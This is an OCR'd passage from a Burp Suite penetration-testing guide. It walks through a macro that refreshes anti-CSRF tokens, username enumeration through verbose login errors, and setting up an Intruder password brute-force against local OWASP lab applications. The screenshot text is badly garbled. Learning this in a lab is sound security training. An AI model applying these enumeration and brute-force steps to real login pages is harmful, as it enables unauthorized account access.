Filter: Hiding CSS, image and general binary content
# v Host Method URL Params  Edited  Statu
132 http://192.168.29.128 POST  /getboo/login.php v 200
Request Response
Pretty | Raw | Hex B " = | prety Rw Hex

(= I T I FURN N R

T—
POST /getboo/login.php HTTP/l.1
Host: 192.168.25.128
Content-Length: 78
Accept: */*
X=-Recuested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/113.0.5672.127 Safari/537.3€

1 HTTP/1.1 200 OK

2 Date: Tue, 30 May 2023

3 Server: Apache/2.2.14
PHP/5. 3. Z-1lubuntud. 30

Scan

Do passive scan

Content-Type: application/x-www-form-urlencoded Do active scan
Origin: htetp://192.16B8.29.128
Referer: http://192.1E68.29.128/getboo/login. php Send to Intruder Ctri+l
Accept-Encoding: gzip, deflate l Eﬂm Epaier . Ctrl+R
Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 -
Cookie: PHPSESSID=etBpEhbbSh7de3lolkquhqkhgs; acopendivid  Scnd toSequencer
=swingset,jotto,phpbbl,rednine; acgroupswithpersist=nada Send to Comparer
Connection: close
Send to Decoder
token=edB81be5baddSh284239be84948al03asname=denospass= Show response in browser
aaaaaaassubnitted=Log+In
Figure 4.5 — Contextual menu to send request to Repeater
6. Go to Burps Repeater tab where you sent the request. Click the Send button. Notice the message

in the response - The security token is invalid:

141
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-|@\ Cancel <v|[>]r Target: http://192.168.29.128 /7  HTTP/1

a- -
Request Response
Pretty  Raw  Hex B W = | pretty Raw  Hex  Render B v =
1 POST /getboo/login.php HTTP/L.1 1 HTTP/1l.1 200 OK
2 Host: 192.168.29.128 2 Date: Tue, 30 May 2023 16:51:45 GMT
3 Content-Length: 78 3 Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3
4 Accept: */* PHP/5.3. 2-1lubuntud. 30 with Suhosin-Patch proxy_html/3.0.1
5 X-Requested-With: XMLHttpRequest mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpensSL/0.59.8k
€ User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE4) Phusion_Passenger/4.0.38 mod perl/2.0.4 Perl/v5.10.1
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 4 X-Powered-By: PHP/5.3.2-lubuntud.30
Safari/537.36 S Expires: Thu, 19 Nov 1981 08:52:00 GMT
7 Content-Type: application/x-www-form-urlencoded 6 Cache-Control: no-store, no-cache, must-revalidate,
2 Origin: http://192.168.29.128 post-check=0, pre-check=0
S Referer: http://192.168.29,128/getboo/login. php 7 Pragma: no-cache
10 Accept-Encoding: gzip, deflacte & Vary: Accept-Encoding
11 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 4 Content-Length: 50
12 Cookie: PHPSESSID=et8pEhbbSh74e3lolkquhgkhgs; acopendivids= 10 Connection: close
swingset,jotto,phpbbZ,rednine; acgroupswithpersist=nada 11 Content-Type: text/html
13 Connection: close 12
14 13}<p class="error'™>
15 token=edB88lbe5SbhaddSh284239beB84948al03. 1 aaaaas The security token is inwvalid
submitted=Log+In </p>

Figure 4.6 — The Repeater tab with the failed login attempt

7. The message about the invalid security token is due to the token that was sent with each request
not being refreshed when we are inside Repeater sending the same request over and again.
Because the target application expects the token value to change upon each POST request, we
can craft our request inside Repeater to get past this message. Let’s learn how we can make
Burp Suite change the token value for us! We can build a session handling rule with a macro
to fix this situation:

Raw  Hex (= Y

POST /getboo/login.php HTTP/1.1

Host: 192.168.29.128

Content-Length: 78

Accept: */*

¥-Regquested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; xE4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.587Z.127
Safari/537.36

Content-Type: application/x-www-form-urlencoded

Origin: htep://192.168.29.128

Referer: http://192.168.29.128/getboo/login. php
Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Cookie: PHPSESSID=etBpEhbbSh74e3lolkquhgkhg5; acopendivids=
swingset,jotto,phpbbZ, redmine; acgroupswithpersist=nada
onnection: close

retty

en=edB88lbeShadd9b28423%be84948al03agname=demospass=-aaaaaaas

Figure 4.7 — The token value in each POST request must be unique
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8. Our first step in building a session handling rule with a macro is to select the Settings gear
icon at the top right-hand corner of Burp:

() X

{ﬁ} Settings

Figure 4.8 — The Settings gear icon

9. In the pop-out window, make sure All configurations are selected and the Sessions area is
highlighted, as shown in the following screenshot:

n Settings

| Search jo

P z - -
User Project | = —

v~ Tools

Proxy
Intruder
Repeater
Sequencer
Burp's browser

> Project

C=)

> Network

> User interface

> Suite

Extensions

0 Configuration library

Figure 4.9 — All | Sessions
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10. After highlighting Sessions, go inside the Session handling rules area and click the Add
button to add a new rule:

Sessions Manage global settings :

(2 |session handiing rules | Project setting

@ You can define session handling rules to make Burp perform specific actions when making HTTP requests. Each rule has a defined scope (for particular tools, URLs or
parameters), and can perform actions such as adding session cookies, logging in to the application, or checking session validity. Before each request is issued, Burp
applies in sequence each of the rules that are in-scope for the request. Use these settings to manage your active session handling rules.

Add Enabled Description Tools

| Edit Use cookies from Burp's cookie jar Scanner

Figure 4.10 — Creating a new session handling rule with a macro to handle refreshing the token

11. When the Session handling rule editor area appears, type RefreshToken as the name of
the new rule. For Rule actions, select Run a macro:

n Session handling rule editor

() Rule description
RefreshToken

() Rule actions

The actions below will be performed in sequence when this rule is

| Enabled Description
se cookies from the session handling cookie jar | Macro
t a specific cookie or parameter value
eck session is valid

mpt for in-browser session recovery

Figure 4.11 — Naming our session handling rule and defining the action
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12. When the Session handling editor pop-out window opens, select the Update only the following
parameters and headers radio button and type token. Please do not skip this step; otherwise,
the rule will not work properly:

Select macro:

| Add TokenFromResponseMacro

| Edit
B cditlist X
| Paste |
| Load |
MNote that the | S | fo sho
requestunless | Clear |
@ update cu
") Updat . . _
Add || ] Close |

(® Update only the following parameters and headers:

|

Figure 4.12 - Update only the token parameter setting

In the same Session handling editor pop-out window, at the top, click the Add button under
Select macro:
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n Session handling action editor - RefreshToken

@ This action runs a predefined macro (sequence of requests) and optionally updates parameters, headers a
based on the result of the macro.

Select macro:

TokenFromResponseMacro
| Edit

Note that the request currently being processed by this session handling rule will still be issued, so the
request unless it is necessary to issue it twice.

Update current request with parameters matched from final macro response
") Update all parameters and headers except for:

\ | Edit
®) Update only the following parameters and headers:

‘ token

Tolerate URL mismatch when matching parameters (use for URL-agnostic CRSF tokens)

Figure 4.13 - Session handling action editor settings

13. After clicking Add under Select macro, two new pop-out windows will appear. In the Macro
Recorder table shown here, look for the POST /getboo/login. php request inside the
history containing the demo username and the aaaaaa password. This is the same request
you performed in the browser and the same one we looked at originally in Repeater. You must
now find it in the Macro Recorder table to have the macro replay the request:
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Bl settings B Macro Recorder - Macro 4
‘ Search @ Macro Recorder
n Macro Editor = 5 i . . N
Select the items from the proxy history that you wish to include in the macro, and click "OK". Note that
using your browser you will need to ensure that proxy interception is turned off.
1 @ Macroe Editor
v Use the configurati \ Filter: Hiding CSS, image and general binary content
th to confir| [ T T T T T
e macrete e . Host Method URL Params
L [135  http://192.168.29.128 GET /getboo/login.php
Uimme=sin 134 http://192.168.29.128 GET  /getboofincludes/javascript/booksjs....
hp

Macro items: 133 http://192.168.29.128

132 hitp://192.168.20.128 : v
# 131 http://192.168.29.128 getl fjavascript/booksjs....
130 http://192.168.29.128 GET /getboo/login.php

Figure 4.14 - Macro Recorder

Here is the request containing demo and aaaaaa:

Macro Recorder

Select the items from the proxy history that you wish to include in the m
using your browser you will need to ensure that proxy interception is turn

l Filter: Hiding CSS, image and general binary content

L Host Method UR

(135 http://192.168.29.128 GET /getboo/login.php
134 hitp://192.168.29.128 GET /getboo/includes/ja
133 http://192.168.29.128 GET /getboo/login.php
132 |http://192.168.29.12F : /getboo/login.php_
131 http://192.168.29.128 /getboo/includes/ja

130 hitp://192.168.29.128
L

GET /getboo/login.php

Request
Pretty Raw Hex

POST /getboo/login.php HTTP/1
Host: 1592.168.29.128
Content-Length: 78

Accept: */%

¥-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows B
XE4) AppleWebKit/537.36 (KHTML, li
Chrome/113.0.5672.127 Safari/537.36
Content-Type: application/x-www-forn
Origin: htecp://192.1€8.29.128
9 Referer: hcop://192.168.29.128/getboo M ogin.php
10 Accept-Encoding: gzip, deflate

8 »n =

L L S S

10.0; Wingd;
e Gecko)

acopendivids=swingset,jotto,phpbbZ, redmninl
acgroupswithpersist=nada

13 Connection: close

l.!

15| token=edB881lbeSbaddSh284235be84548al0 3ama.le=du*
i In

Figure 4.15 — Macro Recorder highlighting the POST request of the login




148 Asse

ssing Authentication Schemes

14. After finding the POST /getboo/login.php request inside the history, select the GET
/getboo/login.php request that occurred just before the POST (two requests down, as

shown in the following screenshot):

acro Recorder

Select the items from the proxy history that you wish to include in the macro, and click "OK". Note that
using your browser you will need to ensure that proxy interception is turned off.

l Filter: Hiding CSS, image and general binary content

F v Host
1135 hitp://192.168.29.128 GET
134 hitp://192.168.29.128 GET
133 hitp://192.168.29.128 GET
132 hitp://192.168.29.128 POST

Method

URL Params

/getboo/login.php
/getboo/includes/javascript/booksjs....
/getboo/login.php

/getboo/login.php v

131 hitp://192.168.29.128 GET /getboo/includes/javascript/bookss....

Figure 4.16 — Macro Recorder of the previous GET request

15. The reason this GET /getboo/login. php request is important is that the token value in
the response is assigned to the token value of the POST two requests later:

W s [T A
|
a-=-=
Response
Wn = Pretty Raw Hex Render n =
Log In
</hZ>

[

1

4 Upgrade-Insecure-Requests: 1

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4;
XE4) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/113.0.5672.127 Safari/537.36

& Accept:

text/html,application/xhtml+xml,application/xnl;q

=0.9,image/avif, image /webp, inage/apng, */*;q=0.8,a

pplication/signed-exchange;v=b3:q=0.7

Referer: http://1%92.168.29.128/getboo/index.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Cookie: PHPSESSID=etB8péhbb9h74e3lolkquhakhys;

acopendivids=swingset,jotto,phpbb2,redmnine;

acgroupswithpersist=nada

Connection: close

O wm -

.

<p class="notice” id="nojswarning">
Javascript should be enabled to access all
functionality

</p>

<div id="messagesDiv">

</div>

<div id="form_div">
<form method="post” id="login form" action
="login.php™>

244
"edB81lbeShaddSbz!

Figure 4.17 — The response of the previous GET assigns a hidden value for the token
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As evidence and for your understanding, look at the POST /getboo/login. php request
again. Note that the value of the token matches the hidden value from the previous GET response

(that is, ed881be5badd9b284239be84948al03a):

v 200 581 HTMI
31 http://192.168.29.128 GET 'fgetbooﬁndudufjavascrfpt/book!»js.... 200 2045 script
130 http://192.168.29.128 GET /getboo/login.php 200 5057 HTMI
==
Request Response
Pretty Raw Hex = \n = Pretty Raw Hex Render B W =
1 POST /getboo/login.php HITP/1l.1 1 HTTP/1.1 Z00 OK
2 Host: 192.168.29.128 2 Date: Tue, 30 May 2023 14:39:30 GMT
3 Content-Length: 78 3 Serwver: Apache/2.2.14 (Ubuntu) mod mono/2.4.3
4 Accept: */* PHP/5.3.Z-1ubuntud. 30 with Suhosin-Patch
5 X-Requested-With: XMLHttpRequest proxy_html/3.0.1 mod python/3.3.1 Python/2.6.5
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing&4; mod_ssl/2.2.14 OpenSSL/0.9.8k
®xE4) AppleWebKit/537.36 (KHTML, like Gecko) Phusion_Passenger/4.0.38 mod perl/Z.0.4
Chrome/113.0.5672.127 Safari/537.36 Perl/vw5.10.1
7 Content-Type: application/x-www-form-urlencoded 4 X-Powered-By: PHP/S5.3.Z-lubuntud.30
g Origin: http://152.168.25.128 5 Expires: Thu, 15 Nov 1981 08:52:00 GMT
S Referer: http://192.168.29.128/getboo/login.php € Cache-Control: no-store, no-cache,

15

16. Using this pattern, we will create a macro to grab the ever-changing token value from the GET
response and have the unique value populate our token inside the POST request we have waiting
for us in Repeater. Running this macro should fix the problem we are currently experiencing

Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.59,en-CA;q=0.8
Cookie: PHPSESSID=etBpEhbbSh74e3lolkquhgkhgs:
acopendivids=swingset, jotto,phpbbZ, rednine;
acgroupswithpersist=nada

Connection: close

Eoken:edﬂslheSbaddSh:Btl:35be3454ﬂa103a}nane=deno&

R |

10

12
13

14

must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 46

Connection: close

Content-Type: text/html

<p class="error">
The passvord is invalid.
</p>

Figure 4.18 — The token value is used in the subsequent POST request

and get rid of the message stating The security token is invalid.

Now, let’s build the macro! Select only the GET /getboo/login. php request from the

Macro Recorder history table and click OK:

149
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Select the items from the proxy history that you wish to include in the macro, and click "OK". Note that to record a macro now ‘ Intercept is off
using your browser you will need to ensure that proxy interception is turned off.

I Filter: Hiding CSS, image and general binary content ‘@
# v Host Method URL Params  Edited  Statuscode Length MIMEty|
135 http://192.168.29.128 GET /getboo/login.php 200 5057 HTML
134 http://192.168.29.128 GET /getboo/includes/javascript/booksjs.... 200 2045 script
133 http://192.168.29.128 GET /getboo/login.php 200 5057 HTML
132 http://192.168.29.128 POST /getboo/login.php v 200 581 HTML
92,168.29.128 gethoo/includes/javascript/booksjs. 200 2045 script
200 5057 HTML
Q==
Request Response
Pretty Raw Hex n = Pretty Raw Hex Render a n = | =
1 GET /getboo/login.php HTTP/1.1 77 <h2> -
2 Host: 192.168.29.128 Log In E
3 Cache-Control: max-age=0 </h2> E
4 Upgrade-Insecure-Requests: 1 <p class="notice" id="nojswarning"> (2]
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd4; Javascript should be enabled to access all 3
%E4) AppleWebKit/537.36 (KHTML, like Gecko) functionality ]
Chrome/113.0.5672.127 Safari/537.36 </p>
& Accept: <div id="messagesDiv">
text/html, application/xhtml+xnl, application/xml;q </div>
=0.9,image/avif, image/webp, inage/apng, */*:q=0.8,a 78 <div id="form_div">
pplication/signed-exchange ;v=b3;q=0.7 79 <form method="post” id="login_form" action
7 Referer: http://192.168,29.128/getboo/index.php ="login.php">
2 Accept-Encoding: gzip, deflate 80 <input type="hidden” name="foken" value=
9 Accept-Language: en-US,en;q=0.9,en-CA:;q=0.8 "ed8Blbe5baddSb284235beB4948al03a">
10 Cookie: PHPSESSID=et8p&hbbSh74e3lolkaquhakhys; g1 <input type="hidden” id="no_js_tag” name
acopendivids=swingset,jotto,phpbbZ,redmine; ="no_js">
acgroupswithpersist=nada g2 <table>
11 Connection: close 83 <tr>
12 g4 <td>
13 <span class="formsLabel”>
<label for="login usrname">
Username
</label>
</span>
@@ €« ‘ > | | Search... 0 matches @@ €| [tokgn W 1 match

Figure 4.19 — Macro Recorder search box

17. After clicking OK, you will return to the Macro Editor area. Feel free to name your macro —
for example, TokenFromResponseMacro. Ensure only the GET /getboo/login.php
request is shown in the table. Click Configure item:
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B Macro Editor X

© [wars r

Use the configuration below to define the items that are included in the macro, and the order they will be issued. You can configure how parameters and
cookies are handled for each item. You can also test the macro to confirm it is working correctly.

[ Macro description: | TokenFromResponseMacro 1

Macro items:
# Host Method URL Status code c| | Configure item |
1 hepy//192.168.20.128 GET 200 | Mocwp |
| Move down |
L Removeitem |
oO== o
Request Response
Pretty Raw Hex a n = Pretty Raw Hex W a w o= | =
1 GET /getboo/login.php HTTP/1.1 1 HTTP/L.1 200 OK =
2 Host: 192.168.259.128 2 Date: Tue, 30 May 2023 15:12:11 E
3 Cache-Control: max-age=0 GMT z
4 Upgrade-Insecure-Requests: 1 3 Server: Apache/Z.2.14 (Ubuntu) (2] s
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; mod_mono/2.4.3 3 _ Re-record macro |
Wing4: x64) AppleVWebKit/537.36 (KHTML, like PHP/5. 3. 2-1lubuntud. 30 vith ]
= 12 . Re-analyze macro |
®{§} £| i| |$earch... 0 matches ®{§} il i| Search... 0 matches TEN RS |
| ox |

Figure 4.20 — Macro Editor | Configure item

18. A new pop-out window will appear entitled Configure Macro Item. We will select a custom
parameter in the response. Click Add:
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EJ Configure Macro Item: GET request to hitp://192,168.29.128/getboo/login.php X

® Configure Macro Item

Use cookies from the sessioMgandling cookie jar in requests

Parameter handling

| Custom parameter locations in response I
Name Value derived from

Figure 4.21 - The Configure Macro Item custom parameter from the response

Yet another pop-out window will appear, where you can define the custom parameter:
L For the parameter name, type token.
II.  Type token into the search box at the bottom to find where the token is in the response.

III.  Once you find the token value, highlight the value from beginning to end. If you highlighted

it correctly, you should see Start after expression and End at delimiter populated, as
shown in the following screenshot.
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Click OK to close the Define Custom Parameter window:

®

n Define Custom Parameter | X
Define Custom Parameter
Configure the details of the custom parameter location. You need to specify the name that is used for this parameter in
subsequent macro requests, and the location within this response from which the parameter's value should be derived.
Parameter name: ‘ token I |
Parameter value prefix (optional): | |
Parameter value suffix (optional): | |
[ Extracted value is URL-encoded
Define the location of the parameter value. Selecting the item in the response panel will create a suitable configuration
automatically. You can also modify the configuration manually to ensure it works effectively.
- (@ Define start and end - [_| Extract from regex group
®) Start after expression: | value=" | value="(*7)">\r\n<input
() Start at offset: 4010 . Case sensitive
® End at delimiter: | “>\An<input |
() End at fixed length: | 32
|| Exclude HTTP headers [ Update config based on selecti | Refetch response |

74}
75
76 </script>

77 <hZ>Log In</hIZ><p class="notice” id="nojswarning">Javas
all functionality</p><div id="messagesDiv"></div>

78 <div id="form_div">
79 <form method="post” id="login_form™ actiqm

80 <input type="hidden" name="token" wvalue='|58

81 <input type="hidden" id="no_js_tag" name
82 <table>

83 <tr>

84 <td><span class="forms
>

85 <td><input typ

ipt should be enabled to access

»<label for="login_usrname">Username</label></span></td

®t" name="name" size="20" maxlength="20" class="formtext"

QIR

|

Figure 4.22 — Define Custom Parameter

1 match

i
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19. After clicking OK three times to close all the pop-out windows, you should return to the
original Session handling rule editor dialog box. The view will default to Details, so you need
to select the other tab, Scope.

Under Tools scope, uncheck all tool boxes except the Repeater tool. Under URL scope, select
Include all URLs. Click OK to close the Session handling rule editor dialog box:

Session handling rule editor

Detols | Scope |

@ Tools scope

Select the tools that this rule will be applied to.

Target Scanner Repeater

Intruder Sequencer ~ Extensions

Proxy (use with caution)

URL scope
@ P

Use the configuration below to contrel which URLs this rule applies to.

® Include all URLs

) Use suite scope [defined in Target tab]

Use custom scope

Figure 4.23 - Only assigning scope to Repeater
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20. Make sure your new session handling rule is enabled by ensuring the checkbox is filled:

Sessions

(3) Session handling rules

@ You can define session handling rules to make Burp perform specific actions when making HTT
parameters), and can perform actions such as adding session cookies, logging in to the applicat
applies in sequence each of the rules that are in-scope for the request. Use these settings to ma

Enabled

| Add |
| Edit |

Use cookies from Burp's cookie jar

Description

Scanner

Repeater

| Remove |
| Duplicate |
U |

| Down |

Figure 4.24 - Enabling the new session handling rule

21. Now, you are ready to return to Repeater and test out the new session handling rule with the
macro. Re-send the POST /getboo/login. php request inside Repeater with demo as the
username and aaaaaa as the password. Now, you will see that the message is The password
is invalid. instead of The security token is invalid. If you don’t see the new message, retrace

your steps to create the session handling rules and macro:

Request

Pretty

POST /getboo/login.php |

2

3
4
S
6

Raw  Hex 8w

P/1.1
‘Host: 192.1€8.29.128

Content-Length: 78

Accept: /%

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.58672.127
Safari/537.36

Content-Type: application/x-www-form-urlencoded

Origin: http://192.1€8.29.128

Referer: http://192.168.29.128/getboo/login.php
Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Cookie: PHPSESSID=etBpEhbbSh74e3lolkquhqkhgS; acopendividss=
swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada;
showhints=0

Connection: close

token=328a6£211£4654494dc4739¢E7£43a8

subnitted=Log+In

Response

Pretty Raw

1
2
3

14

8w

Hex

HTTP/1.1 200 OK

Date: Tue, 30 May 2023 18:03:55 GMT

Server: Apache/2.2.14 (Ubuntu) mod_mono/Z.4.3
PHP/5.3.2-lubuntud. 30 with Suhosin-Patch proxy_html/3.0.1
mod_python/3.3.1 Python/2.€.5 mod_ssl/2.2.14 OpenSSL/0.9.8k
Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.Z-lubuntu4.30

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoeding

Content-Length: 46

Connection: close

Content-Type: text/html

Render

<p class="error™>
The password is invalid.
</p>

Figure 4.25 - Retesting the POST request in Repeater
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22. We no longer receive the message stating The security token is invalid inside Repeater. Great!
Now that our session is handled properly with our macro, let’s tweak the username in the
POST request to see whether we can enumerate more user accounts. In the name field, place
an invalid username, such as joey, and click the Send button. Notice the returned message

of The user does not exist.:

& Cancel <|v[| >
Request
Pretty  Raw  Hex = =
1 POST /getboo/login.php HTTP/1.1
2 Host: 192.1€8.29.128
3 Content-Length: 78
4 Accept: */*
5 X-Requested-With: XMLHttpRequest
& User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x&4)

Target: http://192.168.29.128 /7 H
o=

Render =

Response

Pretty Raw Hex
HTTP/1.1 200 OK
Date: Tue, 30 May 2023 18:07:38 GMT
Server: Apache/Z.2.14 (Ubuntu) mod_mono/Z.4.3
PHP/S5.3.2-lubuntud. 30 with Suhosin-Patch proxy_html/3.0.1
mod_python/3.3.1 Python/2.6.5 mod ssl/2.2.14 OpenSSL/0.9.8k

W

Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/S.3.2-lubuntud.30

Expires: Thu, 19 Nov 1881 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 46

-

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127
Safari/537.3&

w

-

7 Content-Type: application/x-www-form-urlencoded
8 Origin: http://192.1€8.28.128

9 Referer: http://192.168 .128/getboo/login.php
10 Accept-Encoding: gzip, deflate

11 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

W

12 Cookie: PHPSESSID=etBpEhbbSh74e3lolkquhgkhgS; acopendivids= 10 Connection: close
swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; 11 Content-Type: text/html
showhints=0 12

13 Connection: close 13)<p class="error™>

14 The user does not exiscd

15 coken-s:c7d4utJE!d:eEcuﬂdSlt:de?hebBSSBZmanepun-aaaaaaas </p>
submitted=Log+In 14

Figure 4.26 — Trying different usernames to get verbose responses

23. Continue to try different users and observe the different verbose messages. For example, try
admin. What message do you get? Interesting! Now, we know there is a valid admin account.

Testing for weak lockout mechanisms

Account lockout mechanisms should be present within an application to mitigate brute-force login
attacks. Typically, applications set a threshold between three to five attempts. Many applications lock
accounts for a period before a re-attempt is allowed.

Penetration testers must test all aspects of login protections, including challenge questions and
responses, if present.

Getting ready

Determine whether an application has proper lockout mechanisms in place. If they are not present,
attempt to brute-force credentials against the login page to achieve unauthorized access to the
application. Using the OWASP Mutillidae II application, attempt to log in five times with a valid
username but an invalid password.
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How to do it...

Ensure Burp Suite and the OWASP BWA VM are running and that Burp Suite has been configured
in your Firefox browser so that you can view the OWASP BWA applications:

1. From the OWASP BWA landing page, click the link to the OWASP Mutillidae IT application.

2. Open your Firefox browser and go to the login screen of OWASP Mutillidae II. From the top
menu, click Login.

3. On the login screen, attempt to log in five times with the admin username and the wrong
password of aaaaaa. Notice that the application does not react any differently during these five
attempts. The application does not change the error message shown, and the admin account is not
locked out. This means the login is probably susceptible to brute-force password-guessing attacks:

( Login )

<§ Back Q Help Me!

[ Please sign-in ]
Username [admin
Password ([eeeoee

Dont have an account? Please register here
Figure 4.27 - Brute-forcing login attempts

Let’s continue our testing to brute-force the login page and gain unauthorized access to
the application.
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4.

Go to the Proxy | HTTP history tab and look for the failed login attempts. Once found, right-
click and Send to Intruder:

n Burp Project |Intruder Repeater Window Help Burp Suite Prof
‘ Dashboard Target Proxy Intruder Repeater Collaborator Sequencer
Intercept HTTP history WebSockets history @ Proxy settings

\ Filter: Hiding CSS, image and general binary content

#v Host Method URL Params Ed
176  http://192.168.29.128 v
Request Response
Pretty Raw Hex = N = Pretty R
1 POST /mutillidae/index.php?page=login.php HTTP
2 |Host: 192.168.29.128 Scan
3 Content-Length: &0 Do passive scan
4 Cache-Control: max-age=0 .
5 Upgrade-Insecure-Requests: 1 Do active scan
& Origin: http://192.168.29.128 s|“| Ctrl
7 Content-Type: application/x-www-form-urlencode |
g8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé Send to Repeater Ctrl+R
AppleWebKit/537.36 (EHTML, like Gecko) Chrome/
Safari/537.36 Send to Sequencer
9 Accept: Send to Comparer
text/htnl,application/xhtml+xml ,application/xm/
if,image/webp,image/apng,*/*;q=0.8,application Send to Decoder
#v=b3:q=0.7 Show response in browser
10 Referer:
http://192.168.29.128/mutillidae/index. php ?pag Request in browser >
11 Accept-Encoding: gzip, deflate
12 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 Engagement tools ?
13 Cookie: showhints=1; PHPSESSID=3sktotkgp7gpSul Copy URL
acopendivids=swingset,jotto,phpbbZ,redmine;
acgroupswithpersist=nada Copy as curl command (bash)
14 Connection: close Copy to file
dlogin-php-submi Save item
Convert celectinn >

Figure 4.28 - Failed login attempt in HTTP history and Send to Intruder

Go to Burp’s Intruder | Positions tab. If suggested payload markers are present, click the Clear
§ button to remove them. If none are suggested, you may ignore this step:
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Payloads Resource pool Settings
@ Choose an attack type

Attack type: ‘ Sniper v ‘

@ Payload positions
Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

R T Y Ty

w

10
11
12
13

14
15
16

Target: | http://192.168.29.128 Ui e Host header to match target
9 9

POST /mutillidae/index.php?page=login.php HTTP/1.1

Host: 192.168.29.128

Content-Length: &0

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.29.128

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127
Safari/537.36

Accept:

text/html,application/xhtml+xml, application/xml;q=0.9,image/avif,inage/webp,image/apng,*/*;q=0.8,application/signed-exchange
sv=b3;q=0.7

Referer: http://192.168.29.128/mutillidae/index.php?page=login.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;qg=0.8

Cookie: showhints=1; PHPSESSID=3sktoEkgp7gp9ultlalSg0j9g5; acopendivids=swingset,jotto,phpbbZ,redmine; acgroupswithpersist=
nada

Connection: close

user: ing login-php-submit-button=Login

Figure 4.29 - The Intruder | Positions tab

6. 'Then, highlight the password value of aaaaaa and click the Add § button:

(®) Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

0w N

[

10
11
12
13

14
15
16

| Clears |

Target: | http://192.168.29.128 Update Host header to match target

POST /mutillidae/index.php?page=login.php HTTP/1.1

Host: 192.1£8.29.128 ‘ Auto § |
Content-Length: &0

Cache-Control: max-age=0 | Refresh |
Upgrade-Insecure-Recquests: 1 e
Origin: http://182.168.29.128

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x&4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127

Safari/537.36

Accept:

text/htnl, application/xhtml+xnl,application/xml;q=0.9,inage/avif, inage/webp, inage/apng, */*;q=0.8,application/signed-exchange

;v=b3;q=0.7

Referer: http://192.168.29.128/mutillidae/index.php?page=login.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Cookie: showhints=1; PHPSES5ID=3sktofkgp7gpSultlal5g0jSg5; acopendivids=swingset,jotto,phpbbZ,redmine; acgroupswithpersist=

nada

Connection: close

dmi ds§: s}lnqm-php-subm:-huu.un=Lngin

Figure 4.30 - Setting a substitution marker in the Intruder | Positions tab
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7. Continue to the Intruder | Payloads tab. Many testers use word lists to brute-force commonly
used passwords within the payload marker placeholder. For this recipe, we will type in some
common passwords to create a unique list of payloads.

8. Inthe Payload settings [Simple list] section, type the admin123 string and click the Add button:
Positions Payloads Resource pool Settings

@ Payload sets

You can define one or more payload sets. The number of payload sets depends o
and each payload type can be customized in different ways.

Payload set: | 1 " Payload count: 0

Payload type: | Simple list o Request count: 0

() | Payload settings [Simple list]

This payload type lets you configure a simple list of strings that are used as paylo

Paste
Load ...
Remove

Clear

Deduplicate

Add | admin123 |

Add from list ... v

Figure 4.31 — Custom payload values
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9.

(%) | Payload settings [Simple list]
This payload type lets you configure a simple list of strings that are used as payloads.

Paste ' admin123
adminpass
Load ...
welcomel
Remove admin
v ' ’
Clear
Deduplicate
Add I
Add from list ... v

Figure 4.32 - Final list of custom payload values

10. Go to the Intruder | Settings tab and scroll down to the Grep - Extract section:
Positions Payloads Resource pool

@ Grep - Extract

O These settings can be used to extract useful information from responses into the attack results table.

Extract the following items from responses:

Add
Edit
Remove
Duplicate
Up
Down

Clear

Maximum capture length: | 100

Figure 4.33 — Grep - Extract for a particular string literal on responses

Add a few more strings, such as adminpass, welcomel, and, admin, to the payload-listing box:
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11. Click the Extract the following items from responses checkbox and then click the Add button.
A pop-up box will appear, displaying the response to the unsuccessful login attempt you made
with the admin/aaaaaa request.

12. In the search box at the bottom, search for Not Logged In. After finding the match, you
